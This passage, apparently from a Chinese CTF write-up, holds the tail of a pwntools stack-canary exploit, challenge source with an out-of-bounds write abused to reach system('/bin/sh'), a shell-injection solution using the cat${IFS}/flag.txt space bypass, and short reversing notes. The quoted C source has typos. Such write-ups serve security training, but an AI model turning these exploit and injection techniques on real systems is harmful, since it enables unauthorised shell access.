p.sendline(b'a'*40)
p.recvuntil(b'\n')
canary=b'\x00'+p.recv(7)
p.send(b'a'*72+canary+b'a'*8+p64(catflag))
p.interactive()
题目源代码
#include
#include
void msg() {
printf("Welcome to Diceney!\n");
printf("Diceney is live today, you only need to guess 20 times to get flag.txt\n");
}
void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
alarm(30);
}
int menu() {
char* file;
FILE *f;
int space;
int seed;
int guess;
int win = 0;
file = "/dev/urandom";
int input = 0;
for (int i = 0; i < 30; ++i) {
printf("Round: %d\n",i+1);
if (win == 15) {
printf("Hurry up! you will Win!!!\n");
}
printf("Your first guess: ");
scanf("%d", &input);
f = fopen(file,"r");
fread(&seed, 4, 1, f);
srand((unsigned int) seed);
*(&input + i%4) = input;
guess = rand() % 1553;
printf("My turn to say: %d\n",guess);
if (input == guess) {
prsintf("You are really lucky\n");
win++;
}else {
printf("No! maybe you haven't found the trick\n");
}
if (win == 20) {
printf("Great!!! You win\n");
system("/bin/sh");
return 0;
}
printf("(%d/20) games to win!\n", win);
fclose(f);
}
return 0;
}
int main() {
init();
msg();
menu();
return 0;
}
其中
*(&input + i%4) = input;
使用gdb调试输入可以看到
输入第二个数
可以看到win的值被覆盖,根据
if (win == 20) {
printf("Great!!! You win\n");
system("/bin/sh");
return 0;
}
修改为20即可拿到shell,第二次输入20即可
程序关键代码已经给出
int main(){
char cmd[100];
scanf("%s",&cmd);
system(cmd);
return 0;
}
nc连接后直接输入/bin/sh或sh就可以直接getshell,之后cat /flag.txt 获得flag
(无法直接cat /flag.txt的原因:system()中的空格会被转义,因此无法被识别。可以使用cat${IFS}/flag.txt)
Android程序,安装可以玩猜数字游戏,随机出现flag,使用Android反编译软件打开,找到MainActivity即可得到flag
打开提示猜密码,使用反编译软件打开,发现调用了native中的方法
找到相关库文件并反编译,找到对应方法
得到密码173527,输入得到flag
KNN_run函数为K邻近的实现过程,直接编程调用KNN_run,对给出的数据集进行分类,结果即为flag